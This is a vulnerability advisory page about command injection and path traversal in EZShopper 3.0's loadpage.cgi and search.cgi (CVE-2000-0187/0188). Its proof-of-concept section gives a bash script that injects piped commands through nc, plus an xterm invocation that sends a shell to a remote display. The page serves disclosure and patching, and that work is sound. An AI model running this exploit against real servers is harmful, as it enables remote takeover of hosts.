EZShopper Remote Command Execution Vulnerability

BID:1014

Info

EZShopper Remote Command Execution Vulnerability

Bugtraq ID: 1014
Class: Input Validation Error
CVE: CVE-2000-0187
CVE-2000-0188
Remote: Yes
Local: No
Published: Feb 27 2000 12:00AM
Updated: Jul 11 2009 01:56AM
Credit: First posted to BugTraq by suid <[email protected]> on February 27, 2000.
Vulnerable: Alex Heiphetz Group EZShopper 3.0
- Microsoft Windows NT 4.0
- Redhat Linux 7.0
- Sun Solaris 8_sparc
Not Vulnerable:

Discussion

EZShopper Remote Command Execution Vulnerability

EZShopper is a perl-based E-Commerce software package offered by Alex Heiphetz Group, Inc. It is possible to remotely compromise a host due to a lack of checks on user input passed directly to the open() call. This vulnerability exists in two scripts shipped with EZShopper, loadpage.cgi and search.cgi.

In the first vulnerability, the variable passed to open() is called "file" and is submitted to a script called loadpage.cgi. There are no checks on "file", meaning that if "../" preceed an arbitrary filename/path as the file variable, those "../" paths will be followed and the arbitrary file anywhere on the filesystem will be displayed (provided that the uid of the webserver has access to them..). If pipes are included in the variable, arbitrary commands can be executed on the target host possibly giving remote access to the attacker with the uid of the webserver (usually 'nobody').

The second vulnerability is identical in nature to the first but is in the "search.cgi" script. In search.cgi, no checks are made on user input variables 'template' and 'database' (passed to open()). As a result, it is possible to view files or execute commands on the host through search.cgi as well.

Exploit / POC

EZShopper Remote Command Execution Vulnerability

[ cut --- ezhack.sh ]

#!/bin/bash
echo -e "GET http: //www.example.com/cgi-bin/loadpage.cgi?user_id=1&amp;file=|"$1"| HTTP/1.0\n\n" | nc proxy.server.com 8080

[ /cut ]

$ ./ezhack.sh /usr/X11R6/bin/xterm%20-display%

(this would send an xterm from the target host to wherever display is)

http: //www.example.com/cgi-bin/search.cgi?user_id=1&amp;database=&lt;insert here&gt;&amp;template=&lt;or insert here&gt;&amp;distinct=1

Solution / Fix

EZShopper Remote Command Execution Vulnerability

Solution:
Download and install the newest version from AHG's website, http://www.ahg.com.

References

EZShopper Remote Command Execution Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report